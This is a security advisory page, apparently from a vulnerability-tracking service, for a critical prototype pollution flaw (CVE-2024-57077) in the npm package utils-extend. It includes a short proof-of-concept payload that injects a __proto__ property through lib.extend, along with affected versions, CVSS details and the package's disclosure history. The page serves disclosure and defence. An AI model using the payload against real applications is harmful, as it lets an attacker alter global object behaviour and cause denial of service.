Critical

utils-extend Prototype Pollution

Disclosed: 06.02.2025
Updated: 11.10.2026 10:22

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

PoC

async function exploit() {
   const utilsextend = require(\"utils-extend\");
   const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
   const result = await utilsextend.extend({}, payload);
}

await exploit();

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	utils-extend	<= 1.0.8	no fix

References

CVSS score 9.1/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness (CWE): CWE-1321
Platform: npm
Package: utils-extend
Disclosed: 06.02.2025
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7qgg-vw88-cc99 - CC BY 4.0

Vulnerability history: utils-extend

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 09.2020 02.2025
Without a fix: 2
Exploited in attacks: 0

Severity breakdown

Critical 1
High 1

Disclosures per year

2020: 1
2021: 0
2022: 0
2023: 0
2024: 0
2025: 1
2026: 0

06.02.2025

utils-extend Prototype Pollution this entry

Critical · 9.1 CVE-2024-57077 <= 1.0.8 no fix
03.09.2020

Prototype Pollution

High CVE-2020-8147 >= 0.0.0 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application